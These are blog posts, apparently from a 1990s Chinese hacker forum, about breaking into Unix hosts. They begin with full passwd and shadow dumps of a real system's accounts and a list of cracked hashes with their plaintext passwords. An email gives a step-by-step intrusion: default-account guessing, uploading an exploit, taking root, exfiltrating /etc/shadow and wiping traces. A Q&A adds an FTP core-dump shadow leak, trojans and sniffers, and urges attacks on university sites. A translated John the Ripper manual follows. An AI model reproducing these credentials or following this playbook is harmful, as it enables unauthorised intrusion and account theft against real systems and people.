KYJW:x:146:1:SE Engineer:/home/KYJW:/usr/bin/sh

YNSZF:x:147:1:SE Engineer:/home/YNSZF:/usr/bin/sh

wzb:x:148:1:SE Engineer:/home/wzb:/usr/bin/sh

lrj:x:149:1:SE Engineer:/home/lrj:/usr/bin/sh

smjck:x:150:1:SE Engineer:/home/smjck:/usr/bin/sh

hkjw:x:151:1:SE Engineer:/home/hkjw:/usr/bin/sh

WJXX:x:152:1:SE Engineer:/home/WJXX:/usr/bin/sh

kmsx:x:154:1:SE Engineer:/home/kmsx:/usr/bin/ksh

kmszx:x:155:1:SE Engineer:/home/kmszx:/usr/bin/ksh

jsjw:x:156:1:SE Engineer:/home/jsjw:/usr/bin/ksh

cxsjw:x:159:1:SE Engineer:/home/cxsjw:/usr/bin/ksh

zhao:x:160:1:SE Engineer:/home/zhao:/usr/bin/ksh

yls:x:161:1:SE Engineer:/home/yls:/usr/bin/ksh

tdh:x:162:1:SE Engineer:/home/tdh:/usr/bin/ksh

bnxxzx:x:164:1:SE Engineer:/home/bnxxzx:/usr/bin/ksh

jwnjc:x:166:1:SE Engineer:/home/jwnjc:/usr/bin/ksh

hyb:x:169:1:SE Engineer:/home/hyb:/usr/bin/ksh

zmh:x:170:1:SE Engineer:/home/zmh:/usr/bin/ksh

shuwei:x:171:1:SE Engineer:/home/shuwei:/usr/bin/ksh

ge.yabing:x:173:1:SE Engineer:/home/ge.yabing:/usr/bin/ksh

g.yabing:x:174:1:SE Engineer:/home/g.yabing:/usr/bin/ksh

dukaitan:x:176:1:SE Engineer:/home/dukaitan:/usr/bin/ksh

abcd:x:183:1:SE Engineer:/home/abcd:/usr/bin/ksh

tcjw:x:186:1:SE Engineer:/home/tcjw:/usr/bin/ksh

kmbwzx:x:187:1:SE Engineer:/home/kmbwzx:/usr/bin/ksh

test:x:188:1:SE Engineer:/home/test:/usr/bin/ksh

fzy:x:190:1:SE Engineer:/home/fzy:/usr/bin/ksh

fredlee:x:197:1:SE Engineer:/home/fredlee:/usr/bin/ksh

yanchen:x:198:1:SE Engineer:/home/yanchen:/usr/bin/ksh

plq:x:199:1:SE Engineer:/home/plq:/usr/bin/ksh

hueiml:x:200:1:SE Engineer:/home/hueiml:/usr/bin/ksh

wlb:x:201:1:SE Engineer:/home/wlb:/usr/bin/ksh

lq:x:102:1:SE Engineer:/home/lc:/usr/bin/ksh

wj:x:103:1:SE Engineer:/home/wj:/usr/bin/ksh

ymtw:x:104:1:SE Engineer:/home/ymtw:/usr/bin/ksh

wsjw:x:202:1:SE Engineer:/home/wsjw:/usr/bin/ksh

wxq:x:203:1:SE Engineer:/home/wxq:/usr/bin/ksh

yj:x:204:1:SE Engineer:/home/yj:/usr/bin/ksh

zwping:x:205:1:SE Engineer:/home/zwping:/usr/bin/ksh

ywzgs:x:206:1:SE Engineer:/home/ywzgs:/usr/bin/ksh

nt:x:207:1:SE Engineer:/home/nt:/usr/bin/ksh

zjb:x:208:1:SE Engineer:/home/zjb:/usr/bin/ksh

hhm:x:209:1:SE Engineer:/home/hhm:/usr/bin/ksh

tips:x:210:1:SE Engineer:/home/tips:/usr/bin/ksh

ynmyt:x:212:1:SE Engineer:/home/ynmyt:/usr/bin/ksh

fp:x:217:1:SE Engineer:/home/fp:/usr/bin/ksh

rdd:x:220:1:SE Engineer:/home/rdd:/usr/bin/ksh

oak_link:x:221:1:SE Engineer:/home/oak_link:/usr/bin/ksh

wrs:x:222:1:SE Engineer:/home/wrs:/usr/bin/ksh

oakland:x:223:1:SE Engineer:/home/oakland:/usr/bin/ksh

smjw:x:224:1:SE Engineer:/home/smjw:/usr/bin/ksh

fred-lee:x:225:1:SE Engineer:/home/fred-lee:/usr/bin/ksh

kli:x:226:1:SE Engineer:/home/kli:/usr/bin/ksh

cdy:x:115:1:SE Engineer:/home/cdy:/usr/bin/ksh

----------------------------------------------------------

shadow文件

--------------------------------------------------------

root:vptr.l744EVEQ:10414:0:168:7:::

daemon:NP:6445::::::

bin:NP:6445::::::

sys:NP:6445::::::

adm:NP:6445::::::

uucp:NP:6445::::::

mail:NP:6445::::::

nuucp:NP:6445::::::

nobody:NP:6445::::::

noaccess:NP:6445::::::

lp:*LK*:::::::

smtp:*LK*:::::::

listen:*LK*:::::::

morris:eyhgReGBBboKg:9912:0:168:7:::

www:ONIeS8c4h89B.:9967:0:168:7:::

william:Yvh1jjkyI7JRg:9913:0:168:7:::

fax:*LK*:9914::::::

ftp:*LK*:9967::::::

ftpadm:*LK*:9967::::::

news::9968::::::

usenet::9968::::::

lwh:4nmA0M3eMD8AE:9973:0:168:7::10956:

user1::9969:::::10956:

sxj:mdBHk/vuaMfEc:10107:0:168:7::10956:

feng_zy:6loNKcNyMlgus:10004:0:168:7::10956:

cy:UcWJ1G4cNxoE2:10091:0:168:7::10956:

mxj:IuBg/PBNiEnOw:10231:0:1000:7::10956:

lzz:K7kR9vkVEERQI:10044:0:812:7::10956:

zbs:EFCvBmjQCFQ0o:10044:0:1000:7::10956:

jgb:8tzd1EQXls1vQ:10281:0:365:7::10956:

ycb:DKHQ.WebeRYn6:10213:0:300:7::10956:

xxb:zJQnQq2ojqzy.:10213:0:168:7::10956:

scb:sLUek2QQSCgX2:10044:0:168:7::10956:

zhb:MMwS.3yyRzaSg:10044:0:168:7::10956:

zyw:rODnREnH6yBOY:10044:0:168:7::10956:

yeinet:gYWHgBRR/jMfU:10076:0:168:7::10956:

kmnz:Cb/e70JvMWg7Y:10107:0:168:7::10956:

zhl:R8w4eDwqQJIc6:10273:0:3000:7::10956:

TJG:4G8p2S59mZq36:10134:0:168:7::10956:

bsdjxxzx:hefd6TV7m8yDk:10140:0:1:7::10956:

dlzxxzx:HeWB4TYZhL2qs:10140:0:1:7::10956:

njzxxzx:wdXINZH83Ss8k:10140:0:1:7::10956:

dhzxxzx:LvAEzLDKCyTnQ:10367:0:1:7::10956:

fgk:ofR.RfNeM25TM:10140:0:168:7::10956:

wl:N6G3hcRK87txg:10175:0:9999:7::10956:

YXJW:92hjNOWOwRX9s:10148:0:168:7::10956:

HHZX:t1Tb0nnMm8mL2:10148:0:168:7::10956:

KYJW:a19LYYMRIEQ2A:10148:0:168:7::10956:

YNSZF:zN88EuBr.oCJw:10157:0:168:7::10956:

wzb:eOfgJae0l1zaA:10157:0:1:7::10956:

lrj:SPgzbeQrgmy/2:10157:0:1:7::10956:

smjck:i.UY8bFY6KfAg:10161:0:3000000:7::10787:

hkjw:CWZNg9j3aUybg:10162:0:1:7::10956:

WJXX:WWNNjRGu2DalM:10162:0:168:7::10956:

kmsx:5.K6p/Ag5RLT6:0:0:0:::10956:

kmszx:FvD15x2swPJ3k:10186:0:1:7::10956:

jsjw:kHwOcu5Vjto2A:10189:0:1:7::10956:

cxsjw:Ts5JytgU/3aaI:10386:0:1:7::10956:

zhao:YtQxxoz7x90M.:10197:0:168:7::10956:

yls:AAvqaWIiAH6Zs:10199:0:1:7::10956:

tdh:cmoSkC1p0Qnwg:10200:0:700:7::10956:

bnxxzx:0PhlqycZbQQaw:10218:0:1:7::10956:

jwnjc:HhiFXJTtf5KYw:10232:0:1:7::10956:

hyb:g4B3RkHrrJw9g:10245:0:999:7::10956:

zmh:bwidWHr8YCEuc:10247:0:1000:7::10956:

shuwei:dS6VANSfLHUb2:10262:0:2000:7::10956:

ge.yabing::10269:::::10956:

g.yabing:9q1rTAGAIerUA:10269:0:500:7::10956:

dukaitan:SSt8GU8eUeb8Y:10280:333:333:7::10956:

abcd:g0fFZtzSH4eug:10284:0:168:7::10956:

tcjw::10448:0:1:7::10956:

kmbwzx:i9GDAwGfRuKcQ:10304:0:300:7::10956:

test:LljHx2OToJm/g:10291:0:20:7::10956:

fzy:vNaD5Jx.gVR9I:10308:0:600:7::10956:

fredlee:yXfsMS5dJUwbg:10309:0:1:7::10956:

yanchen:LtLc788qBD81.:10315:0:300:7::10956:

plq:DqeeXXrFKtx.Y:10317:0:100:7::10956:

hueiml:cs/CZvTIT59No:10326:0:168:7::10956:

wlb:8vm1n2CRWC1OI:10372:0:99999:7::10956:

lq:8lJK.P46wwN36:10365:0:300:7::10956:

wj:6VG.amxoiWm6A:10344:333:333:7::10956:

ymtw:aIoC6gTUE8/Cg:10372:0:210:7::10956:

wsjw:vSHp9hQOh3.T2:10358:0:1:7::10956:

wxq:5XBaK8K8SgWiA:10358:0:300:7::10956:

yj::10448:::7::10956:

zwping:a9oa.W.FWmfFA:10359:0:700:7::10956:

ywzgs:fdkVARBHm05VU:10359:0:1:7::10956:

nt:BJN74zCa4m0IY:10359:0:180:7::10956:

zjb:Z6hRfyp8WhEMY:10361:0:300:7::10956:

hhm:2mjhbEyzm3Euk:10365:0:2990:7::10956:

tips:o3F3QNeJtID/g:10371:0:999:7::10956:

ynmyt:GHUPKbrfHOgwA:10378:0:1:7::10956:

fp:Pil8770DTE2Og:10381:0:300:7::10956:

rdd:RYZOPKsNlta2w:10392:0:360:7::10956:

oak_link:DnFYlA1zLPE8A:10393:0:140:7::10956:

wrs:.8hS4lJoW8HHs:10394:0:300:7::10956:

oakland:AmipTt7Mc.j9k:10399:0:100:7::10956:

smjw:auDa1aGa6j1yA:10402:0:1:7::10956:

fred-lee:6w/BM7UMUf95s:10416:0:30:7::10956:

kli:9rQUIBUa24CxA:10445:0:300:7::10956:

cdy:4cp4uf.gXR7kQ:10445:0:99999:7::10956:

------------------------------------------------------------
為了網絡的安全,現在一般的passwd中不包含加密過的密碼,shadow中才有.(以前的unix無shadow的概念,加密的密碼直接包含在passwd文件中,任何人都可讀取)一般只跑shadow文件即可,但要想得到完整的資料,可用:unshadow passwd shadow > aaa -----生成以前的那種passwd,取名為aaa然後再 john -si aaa ....這就是兩者一起跑的意思.

===========================

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

iamin:

你好!很感謝你給我回信,我沒有給你吃什麼糖衣炮彈,我只是說說我想說的!對了上上次你給我
的PASSWD和SHADOW我試著JOHN破了一 下!你看看這些是我們大家都需要的真正的密碼(不是SHOW過的):

6VG.amxoiWm6A:11

fdkVARBHm05VU:88888888
yXfsMS5dJUwbg:LEE
zN88EuBr.oCJw:YNSZF
a19LYYMRIEQ2A:KYJW
t1Tb0nnMm8mL2:HHZX
92hjNOWOwRX9s:YXJW
AmipTt7Mc.j9k:oakland
i9GDAwGfRuKcQ:kmbwzx
o3F3QNeJtID/g:tips
4G8p2S59mZq36:TJG
mdBHk/vuaMfEc:sxj
4nmA0M3eMD8AE:lwh
wdXINZH83Ss8k:njzxxzx
HeWB4TYZhL2qs:dlzxxzx
LljHx2OToJm/g:test
HhiFXJTtf5KYw:jwnjc
LvAEzLDKCyTnQ:dhzxxzx
GHUPKbrfHOgwA:ynmyt
auDa1aGa6j1yA:smjw
DnFYlA1zLPE8A:oakland
vSHp9hQOh3.T2:wsjw
eOfgJae0l1zaA:wzb
SPgzbeQrgmy/2:lrj
hefd6TV7m8yDk:bsdjxxzx
eyhgReGBBboKg:morris12
ofR.RfNeM25TM:fgk97
g4B3RkHrrJw9g:hyb123
ONIeS8c4h89B.:www123
---------------------------------------------------------

破解是正確的,但...我再說明一次吧...

lwh:x:109:1:SE Engineer:/home/lwh:/usr/bin/sh
| | | |  | | |--用戶的shell為 sh
|  | | |   |     |-----用戶目錄
| | | | |---用戶全名或其他情況
| | | |----用戶組id號
| | |----用戶id號
| |--代表密碼被shadow,加密後的密碼自動在shadow文件中匹配.
|------用戶賬號

shadow中對應用戶lwh的記錄:
lwh:4nmA0M3eMD8AE:9973:0:168:7::10956:
| |---用DES方法加密後生成的13位加密碼.(即對原密碼lwh加密後的結果)
|---於passwd文件對應的賬號lwh.

破解完後,用命令
john -show aaa
可以看到用戶名和密碼的對應關係,john的說明中都寫了的!
因此你可以知道
lwh用戶的密碼和它的賬號一樣,為lwh,而不是4nmA0M3eMD8AE
以上的知識在coolfire和root的john1.5使用說明都寫過的...
先認真讀讀...好嗎?
學習黑客要講個"悟"字...情況是千變萬化的,沒有很固定的方法,
黑客的各個步驟都可能用不同的方法來達成...
如果要詳細的寫,我可以寫出幾萬字..所以我只能個你提示,希望你能自己來嘗試和領悟,
只要有一定的基礎,我所寫的就是關鍵之處..一看就明白了...

1.get passwd (我沒有用你寄來的passwd文件,僅僅匿名就得到了,這是一個漏洞!)


2.用emailcrk猜了一會...拿到了幾十個密碼(又是漏洞!)..但都是ftponly的shell,不能telnet


3.打開passwd文件觀察為sh.csh之類shell的用戶,發現有幾個很可能是默認賬號..


4.telnet 到目標,試到第二個賬號就有了一個shell.(漏洞)


5.這個賬號居然連ls都不能用?--原來它沒設搜索路徑,用/bin/ls 就可以了.( /bin/命令)


6.系統為sun os 5.6,不能cc/gcc,只好上傳編譯好的expoilts,但這個賬號又不能ftp?


7.在jiangfy的主頁上有telnet上傳的方法,把編譯好的expoilt uuencode後傳上去.


8. /bin/uudecode myfile ; /bin/chmod +x myfile 解開我的expoilt


9運行 myfile


10 .哈哈,看看提示符為 # ,(未補的漏洞),趕快 more /etc/shadow.但shadow有幾百K...


11. cp /etc/shadow /tmp/myshadow 拷貝一個到/tmp目錄.chmod a+r myshadow (讓任何人可讀)


12.再開一個窗口,用另一個賬號ftp上,get myshadow 回來


13.get完後刪除myshadow和myfile,打掃戰場,bye了.


14.expoilt 可到www.rootshell.com 自己找到後編譯,注意對應的unix系統和版本號.
-----------------------------------------------------------------------------------------------
老師"越來越忙了,家裡也越來越"窮"了,.以後長的mail沒時間回了,好在你不愁沒人教的:)
.
但是希望你能自己多想多試,不能急於求成,這樣收穫才比較大.有機會netmeting,這樣一次能交流的信息比較多.

Bye...
------To my friends...----
==========================
| ** Do you forget ... **|
==========================
--the mail is from iamin--

---------------------------------------------------------------------------------------------------

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

Y: iamin:>> 你好好好~I'',謝謝你的長篇大論,我的眼睛都看不過來了!有幾個地方我沒看懂!

i: ( 今天我很"不好",週五同學聚會第一次喝了一斤白酒...結果醉的一塌糊塗..躺了一天現在還噁心...(再也不能喝醉了,真不舒服),晚上好不容易才回家收信...>(我很笨)

Y: 沒有某個FTP或TELNET的帳號,我怎麼進入他的主機,因為有些>匿名進入後沒有ETC目錄,我從什麼地方獲得PASS或SHADOW。

i: 苯?這麼謙虛?其實很多時候拿shdow都不難,但難的是第一個可用的賬號.所以剛開始拿不到是正常的.沒有etc目錄,,匿名用戶一般權限很小,即使get回passwd文件一般也是很不全的.只好猜猜其他的賬號比如test/test;setup/setup;sybase/sybase...XX熱線以前就有這種賬號--現在沒了:),shadow只有當你拿到root後才能讀取

Y: 你說的這些漏洞,到底是什麼漏洞!沒有說清楚怎麼利用這些漏洞

i: phf漏洞在coolfir和THX教程中都講過了,即www.hacker.me/cgi-bin/phf?....哪一部分.B.tp漏洞在其他文章也很多,即:1.ftp上主機,用一個合法用戶的登陸(匿名不行)2.cd /tmp或用戶目錄.3.user root4.root requir passwd:XXXXX (隨便輸幾個字符)5.提示connect close by remot machine.6.重新fpt登陸後,cd /tmp;看到core文件就好了:)7.get core ---裡面有shadow的片斷,用edit刪去無用的內容就可以用john 跑了.一般ftp提示UNIX(V) system 的主機都可用此法C.win95/nt下一般可用fontpage或nutbui..的漏洞,自己找資料看看,我一時沒找到.

Y:我的JOHN15在WINDOWS下跑有用嗎?(當然會慢,我只考慮能不能你破得密碼)

i: john15有win95的版本,而且這個版本只能在win95的dos環境下使用,我的站中有,破解也不是很慢

Y : 我的入侵幾乎是靠運氣,你能說說掃瞄器顯示的數據是什麼意思嗎?它到底有用沒有!怎麼才能用掃瞄器查得哪裡是系統的漏洞!你最常用的掃瞄器是什麼?

i: 當然要些運氣!有時技術只是一部分...我很少用掃瞄器,最多用legion和proxy hunter都是好用的工具當然要看你怎麼用了:),,雖然只對win95/nt主機有效,但因為這使入侵個人主機太簡單,方法我不敢亂傳,你自己試試(我答應過其他朋友不寫的,sorry),其實我的上網時間不充裕,試這麼多的掃瞄工具真的沒時間.

Y: 我看了COOLFIRE的文章,但是我覺得大同小異和其他黑客文章差>不多!我覺得對我沒什麼幫助,不如自己慢慢實踐!你能介紹一些

i: 實用的教學文章嗎?coolfire是國內最早的比較完整的黑客文章,雖然內容現在看很老了,但我認為它還是很好的入門文章我最少看過十幾次了,比如phf漏洞和一些基本知識.現在沒什麼好的中文教程,除了coolfire的文章,我認為就只有我和別人翻譯的THX教程好一些(我站中黑客天書中有).我也一直認為真正的hacker都是自學的,我以前也寫了不少信問那些早一些入門的站長,但都沒有什麼回音,只好自己學了.七八兩月,家中的電話費超過一千五,我沒有工作和經濟來源,真感謝我的父母支持我的學習.

Y:你在信的最後說了怎麼把PASSWD和SHADOW一起跑!你看我的命>令對不對:d:\john\run\>unshadow passwd shadow>aaa(回車)>對嗎?難道不在">"後先輸入John unshadow......嗎?(疑惑不解)> 還有,輸入上面的命令後生成的aaa到什麼地方去了!

i:john的run目錄中有unshadow這個可執行文件,它本身就是一個外部命令, > aaa 中的 >是重向符號這行命令代表用passwd和shadow合併生成aaa文件,aaa在當前目錄,就是run中了(Dos學的不紮實吧?)>

Y:你用的什麼FTP軟件來抓PASS和SHADOW的,因為我用的FTP軟件>不能輸入命令,只能用鼠標點。能在主機上放特洛伊??不怕別人>發現嗎?到底放在它的哪個目錄裡呀!然後我就輸入該主機的IP就行了嗎?

i: 哈哈,怎麼用GUI的FTP軟件呢?如果你沒裝linux,就用win95自帶的ftp外部命令,在dos環境或win95的運行裡輸入 ftp IP地址或域名之後你試試,和unix的ftp一樣.ftp的命令可在我站中的新客補習裡看看介紹.放特洛伊?你要是有root權才行,一般用特洛伊文件替換bin目錄下的unix命令.輸入該主機的IP就行?特洛伊只是幫你偷賬號或搞破壞,於IP無關.sniff(嗅探器)在ftp下不行!ftp可上傳sniff文件,但要telnet上去後遠端後台運行,也是用來竊取信息的,不過現在我沒時間多試,也比較危險,可能我寫了這麼多,但你也許還是覺得不過詳細,也不能立竿見影的讓你入侵得手,其實hacker也是個逐漸學習的過程,要有足夠的耐心,我以前也是這樣走過來的.如果你實在找不到比較好入侵的目標,我勸你訪問www.edu.cn,裡面有全國高校的網址,其中約有10%以上我能入侵,漏洞不少,試試吧


Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()

設定檔
--------
1. 假設你認為你要破解的某些密碼檔中有很多的使用者他們所設定的密碼都是以帳號
名稱再加上 '?!' 的話. 你只要新增一個 "Single Crack" 模式的規則, 把這一行
放在你的設定檔中:
[List.Rules:Single]
$?$!
提示: 如果你要將 John 原先所設定的預設值保留下來的話, 你可以簡單的修改這個節
段的名稱, 把它改成 John 沒有使用的名稱, 然後再建立一個跟舊節段一樣名稱
的節段, 但請注意新節段必需要把 'list.' 這個關鍵字移除 (不使用), 這樣在
執行的時候才不會出現錯誤.
相同的指令也能夠套用在字典檔破解規則上.
2. 如果你產生了一個自訂的字元集檔案(如上所述) 你也需要使用增強模式的參數定義
一個~/john.ini 的節段. 最簡單的情況之下看起來會像下面這樣 ('Custom'所指的
可以是其它的檔案, 用你所喜歡的名稱來命名):
[Incremental:Custom]
File = custom.chr
這會讓 John 只使用你用該密碼所製作出來的字元集, 如果你想要用所有 95 個字元的
話, 你也需要加入這一行:
CharCount = 95
加入這一行會告訴 John 擴充你的字元集檔, 如果 95個字元(ASCII codes 32 to 126)
中的某些字元沒有出現在你的字元集檔中, 字元加入的次序為: a-z, A-Z, 1-9, 0, 及
其它.
你也可以使用 CharCount 來限制 John 使用不同的字元數:
CharCount = 25
如果你在產生字元集檔時沒有使用任何的過濾器, 設定較低的 CharCount會剃除一些罕
見的字元, 能夠讓 John 更容易嘗試較複雜, 較長的密碼
要讓 John 只嘗試某些長度的密碼, 可以加入下面這幾行:
MinLen = 6
MaxLen = 8
把 'MinLen' 設定的長一點, 就像上面的範例一樣, 在機器有限制使用者密碼長度的時
候是很合理的 (然而, 注意 root 通常可以為使用者設定任何長度的密碼而不受此限).
相反的, 如果你覺得密碼應該不會是很長的, 你可能會想要把 'MaxLen'設定得小一點.
當只使用字母字元(alphabetical)的時候, 也許開啟簡單的內見過濾器會很有用, 如果
很多密碼設定得很簡單:
[Incremental:Wordlike]
CharCount = 26
MinLen = 3
Wordlike = Yeah
File = alpha.chr
3. 當使用 John 在安裝小於 4Mb 的機器上時, 你可能須要使用小一點的字元集, 在使
用 '-makechars' 來產生的字元集, 需要很大的記憶體來擴充 (要快一點執行的話)
在你同時讀進很多個密碼檔的時候也需要這樣子作, 在沒有足夠的記憶體時, 或讓
John 在破解很少的 salts 時稍微跑得快一點. 這都有可能會發生, 因為 John在每
個字讀入像上一次讀入的字, 或只有某些部分的字有改變時速度會快一些.當使用了
大的擴充字元集檔的時候, 字串通常每一次的測試都是比在~/john.ini 中的小字元
集大很多, 字串的差別會相差很大. 而且,大的字元集在擴充的時候花花費較多的時
間. 然而, 你需要注意的就是利益/時間是呈正比的, 要得到更多的密碼就要花更多
的時間,用最好的順序來跑大的擴充字集也是很重要的. 所以聰明的人會使用小一點
的字元集, 如果他們沒有別的選擇的話, 或是你原本就是想要嘗試所有可能的組合.
我故意把比較小的字元集由~/john.ini中拿掉, 這樣你才能夠在 'File=' 這一行中
寫上你會用到的字元集
4. 在其它特殊的情況之下, 你也許會使用自訂的較小字元集, 如果你知道使用者常把
他們的密碼加上'1', 你可以用這樣的範例:
[Incremental:Suffix1]
MinLen = 6
MaxLen = 6
Charset61 = abcdefghijklmnopqrstuvwxyz
Charset62 = abcdefghijklmnopqrstuvwxyz
Charset63 = abcdefghijklmnopqrstuvwxyz
Charset64 = abcdefghijklmnopqrstuvwxyz
Charset65 = abcdefghijklmnopqrstuvwxyz
Charset66 = 1
5. 你也可以用寫一個額外的字串過濾器來達到跟上例相同的結果:
[List.External:Filter1]
void filter() {
int i;
i = 0;
while (word[i] && word[i] >= 'a' && word[i] <= 'z') i++;
if (word[i] != '1' || word[i + 1]) word = 0;
}
這個過濾器只會把有相同字元且結尾是 '1'的濾除. 你可以把它用在其它不同的破解模
式中, 但是都會變得很慢, 因為大部分的字都會被濾掉. 最好是使用它來產生字元集然
後再來使用, (如果你已經有很多密碼已經破解了, 會跳過過濾器).
如果你在某些情況下無法使用頻率表(沒有找到規則), 你可以在額外破解模式中用相同
的程式:
[List.External:Suffix1]
int len, current[9];
void init() {
int i;
current[len = 6] = 0; current[i = len - 1] = '1';
while (i--) current[i] = 'a';
}
void generate() {
int i;
i = len + 1;
while (i--) word[i] = current[i];
i = len - 2;
while (++current[i] > 'z')
if (i) current[i--] = 'a'; else current = -1;
}
void restore() {
int i;
i = len + 1;
while (i--) current[i] = word[i];
}
========
F.A.Q.
========
Q: 為甚麼要命名為 "John"?
A: 為甚麼不?
Q: 為甚麼命名中有 "the Ripper" 這個字?
A: 那是 Lost Soul 的主意. 問他吧!
Q: John the Ripper 有比 Cracker Jack 還要好用嗎?
A: 我覺得比較好. John 支援了所有 Cracker Jack 所提供的功能, 而且也多了很多新
的功能. 還有, John 在 Pentium 上跑得 Jack 還快, 甚至在有些 486 機器上也比
Jack 快很多.
Q: John the Ripper 比 Crack 還好用嗎??
A: 看你自己. John 是有比較快, 而且有一些 Crack 沒有的功能. 但是 Crack 也是一
個不錯的程式.
Q: 為甚麼 John 不能在我的舊 386 上跑得比較快?
A: John 是在 486 以上的機器作最佳化的. 如果要為 386 的機器作最佳化要花很多的
時間. 如果你只有 386 機器的話, 你最好能在 InterNet 上找一台快一點的機器來
跑 John. (對啦! 就是不出 386 版本了! 當然, 386 面臨淘汰了嘛!)
Q: John 有針對 Pentium 進行最加化的版本嗎?
A: John 已經針對 Pentium 級的機器進行過最佳化了!
Q: 我要怎麼樣測試 John 的 crypt() 函式是否工作正常呢?
A: John 在每次執行的時後都會自己測試一次, 你不需自己測試.
Q: 我要怎麼樣使用 John 的 "single crack" 模式? 他好像不能使用字典檔.
A: 沒錯, John 跟 Cracker Jack 的 "single crack" 模式有很大的不同. RTFM.
Q: 為甚麼你不把 "single crack" 改良得跟 Jack 一樣好?
A: Jack 的 "single crack" 模式不是最好的, 它比 John 來要差. 我很高興有人會提
出這個問題... 也許是因為 Jack 的模式看起來比較複雜而令你有這樣的錯覺吧.
Q: 可不可以把 Jack 的 JPP.EXE, 改成可以在 Windows 95 上面跑?
A: 你不需要它了. 但是你大概真的須要再讀一下這篇文章中 "使用者字訂"這個章節,
有關於字點檔規則的部分. 而且, 我認真的建議你不要在 Windows 95 上作任何的
工作.
Q: 我要怎麼看已經破解的密碼? 在 CJack 中有 JACKPOT.EXE 這個檔呀.
A: 在命令列上使用 '-show' 這個指令.
Q: 為甚麼 John 不讀入我的密碼檔呢? 它只顯示 'Loaded 0 passwords'.
A: 你的密碼檔大概是 shadow 過的吧. 你需要抓到密碼檔跟 Shadow檔, 把它們組合在
一起, 然後再來使用 John. 當然, 如果你的密碼檔格式沒有被 John 支援的話也會
出現相同的訊息.
Q: 我要如何解開 shadow?
A: 你大概是說不須要 root 權限就拿到 shadow 檔吧. 嗯,這裡有一些小詭計, 但最好
你還是需要 root. 很抱歉, 我不是在提這些事, 或是告訴你該如何 "hack" root.
這不是這個 FAQ 的原意.
Q: 為甚麼 John 在增強模式不顯示進度指示呢?
A: 你真的想要一直看著 0%嗎? 如果你再問一次這個問題, 你大概需要再讀一次這份文
件了(增強模式方面的說明).
Q: 為甚麼 John 顯示的是無意義的 c/s 數值而不是秀出每秒的 crypt() 進度?
A: John 顯示出來的數值表示每秒組合 (login 及 password) 而不是每秒crypt(). 如
果你只想要試試編碼的速度的話, 使用'-test'這個選項. 注意破解中所顯示的 c/s
數值並不是無意義的-- 它表示你在個別密碼檔的實際破解速度, 而且可能可以在你
用 '-salts' 功能調整速度的時候.
Q: 使用增強破解模式時, 我查覺到 c/s 值小於其它的破解模式很多, 甚至跟 John 1.0
版比起來也少了很多, 這是怎麼回事呢?
A:你可能只有執行 John 幾分鐘吧. 新的增強模式每次在 John 切換到不同的密碼長度
時, 使用需要擴充的較大字元集. 這個長度轉換需要花費一點時間, 所以才造成 John
每一秒嘗試的密碼組合會更少. 很幸運的, 這是只有在 John破解了一段時間, 切換到
一個新的密碼長度, 重新開始執行破解工作時才會有這種情形, 我想你沒有必要在這
個密碼檔上使用. 總之, 如果你不喜歡這個新的方式, 你可以不要用這麼大的字元集
(把'file='這一行由 ~/john.ini 中移除) .
Q: John 有支援平行處理嗎?
A:我有一個像你所講的, 可以在網路上分開(逐步)處理的 Cracker 計畫 (很快就會完
成). John 並不能支援真正的平行處理, 但你仍然能夠以自訂字元集的方式設定每台
機器跑不同的字元集, 你也可以在增強破解模式加上字串過濾來達到相同的效果.
Q: John 內定的字元集是怎麼來的(在 ~/john.ini 跟 *.chr 檔的) 它的基礎來源?
A: 我參考了一個由世界上的不同機器超過六萬五千個真正密碼的列表, 我要謝謝這些
使用者幫忙設定他們的密碼.
Q: 我要到哪裡取得字典檔?
A: 你可以在 ftp://sable.ox.ac.uk/pub/wordlists. 找到一些.
Q: 我要如何跟作者取得連絡?
A: 你可以在這個文件最後的地方看到.
=========
感 謝
=========
在發展 John 的時候, 我使用了其它破解同好的方法及建議:
- Crack by Alec Muffett --
字典檔規則語法;
- Cracker Jack by Jackal --
使用者介面;
- Star Cracker by The SOrCErEr --
證明了一個很大的字元表也有執行的價值.
crypt() 編碼函式所使用的是 Alec Muffett 寫的, 跟 Crack v4.1 是同一個.
只有一些設定初始化函式沒有改寫, 其它的部分已經由我自己的想法改寫了新的
crypt() 來使用 (事實上, 目前的這個編碼函式使用了許多不同的運算方式).
特別感謝 Roman Rusakov 提供了 x86 組合語言版本的 crypt() 編碼函式, 這個
函式已經放在目前的版本中, 他的最佳化方式是最棒的!
DOS 版本是用 DJGPP v2 by DJ Delorie 及 GCC 2.7.2 (http://www.delorie.com)
編譯的, DPMI 伺服程式是使用 Charles W Sandmann (sandmann@clio.rice.edu; 1206
Braelinn, Sugar Land, TX 77479), 原始程式在 ftp://ftp.simtel.net/pub/simtelnet/
gnu/djgpp/v2misc/csdpmi3s.zip.
Cygnus Developer's Kit (http://www.cygnus.com/gnu-win32) 用來編譯 Win32 版本.
================
如何與作者連絡
================
發 E-mail 到 solar@ideal.ru 或 2:5020/398.9, 或者是在 EFnet IRC, 也可以找得到作
者, 作者在 IRC 的暱稱為 Solar_Diz.
在你還沒有完全看完這份文件以前, 請你不要隨便的提出你的問題, 而且也不要寄給作者一
些密碼檔, 作者並不提供破解密碼的服務 (CoolFire 亦有同感).
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
**** CoolFAQ ****
CoolFAQ 是最後一次出現在 CoolHC 中了,以後因為我不再由信件回答網友的問題,所
以日後的 CoolFAQ 將以 CoolHC相同的方式呈現給大家,我會將網友交流版中的精華加
以整理成為 CoolFAQ,然後再以文件的方式放置在首頁上供大家取閱。
Q1: John the Ripper.......
A1: 任何有關 John the Ripper 的問題請參考 CoolHC#8 中的中文使用說明或 John內
所附的原文說明.
咦?! 沒啦?! 對!! 沒了.... 因為如果要作者抽空寫的話。這份文件的推出日期就要再
繼續的延後下去了,有很多人之前已經先看過了這份文件的 PreView 版,可能發現並
沒有多很多的東西,沒辦法... 沒時間...
我只希望大家能多利用網路上的 MailList 或我們的留言版來討論,很多的問題透過大
家的討論通常都會有很令人滿意的答案出現、
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
**** 後語 ****
** 所有的資訊都是"免費" 的, 所以你沒有權利要求任何的 "售後服務", 該給各位的我會
